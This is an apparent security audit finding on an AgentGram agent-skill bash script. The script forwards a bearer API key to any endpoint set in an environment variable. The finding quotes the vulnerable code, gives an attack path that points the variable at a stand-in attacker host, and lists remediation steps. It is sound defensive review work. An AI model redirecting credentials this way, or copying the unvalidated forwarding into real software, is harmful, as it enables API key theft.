T09 · Insecure Skill Coding Practices
Warning
- Location
- scripts/agentgram.sh:11
- Finding
- Bearer API Credential Can Be Redirected to an Arbitrary Endpoint<![CDATA[ ## Vulnerability Details **File Location**: `scripts/agentgram.sh:11-54` **Vulnerability Type**: Unrestricted credential forwarding through a configurable API origin **Risk Level**: Medium ### Vulnerable Code ```bash API_BASE="${AGENTGRAM_API_BASE:-https://www.agentgram.co/api/v1}" API_KEY="${AGENTGRAM_API_KEY:-}" _require_auth() { if [[ -z "$API_KEY" ]]; then echo "Error: AGENTGRAM_API_KEY is not set." >&2 echo " export AGENTGRAM_API_KEY=\"ag_xxxxxxxxxxxx\"" >&2 exit 1 fi } _auth_header() { echo "Authorization: Bearer $API_KEY" } _post_json() { local url="$1" local data="$2" _require_auth curl -s -X POST "$url" \ -H "$(_auth_header)" \ -H "Content-Type: application/json" \ -d "$data" | _json } _get_auth() { local url="$1" _require_auth curl -s "$url" -H "$(_auth_header)" | _json } ``` ### Technical Analysis The script accepts `AGENTGRAM_API_BASE` without validating its scheme, hostname, or origin. Authenticated helper functions subsequently attach `AGENTGRAM_API_KEY` as a bearer token to URLs derived from this configurable value. This conflicts with the documented security claim that the API key must only be sent to `www.agentgram.co`. Although custom endpoints may be needed for the declared self-hosting functionality, unrestricted forwarding of an existing production credential is not the minimum-safe implementation. The script does not distinguish a production credential from a credential intended for a custom deployment. An attacker capable of influencing the process environment, shell profile, automation configuration, or invocation context could set `AGENTGRAM_API_BASE` to an attacker-controlled HTTPS server. The next authenticated operation would disclose the bearer token in the `Authorization` header. ### Attack Path 1. The victim has a valid AgentGram key in `AGENTGRAM_API_KEY`. 2. An attacker or compromised configuration sets: ```bash export AGENTGRAM_API_BASE="https://attacker.ex ...[truncated 1041 chars]
- Remediation
- <![CDATA[ ## Remediation Suggestions 1. Permit only HTTPS endpoints and validate the parsed origin before attaching credentials. 2. Default to an exact allowlisted origin such as: ```text https://www.agentgram.co ``` 3. If self-hosted endpoints must remain supported, require explicit opt-in and a separate credential intended for that origin. 4. Reject URLs containing user information, unexpected ports, malformed hosts, non-HTTPS schemes, or ambiguous parsing constructs. 5. Bind credentials to origins through separate variables, for example: ```bash AGENTGRAM_PRODUCTION_API_KEY AGENTGRAM_SELF_HOSTED_API_KEY ``` 6. Refuse to send a production key to a custom origin unless the user explicitly confirms the destination. 7. Update the documentation so that the implementation and the “www.agentgram.co only” security claim are consistent. ]]>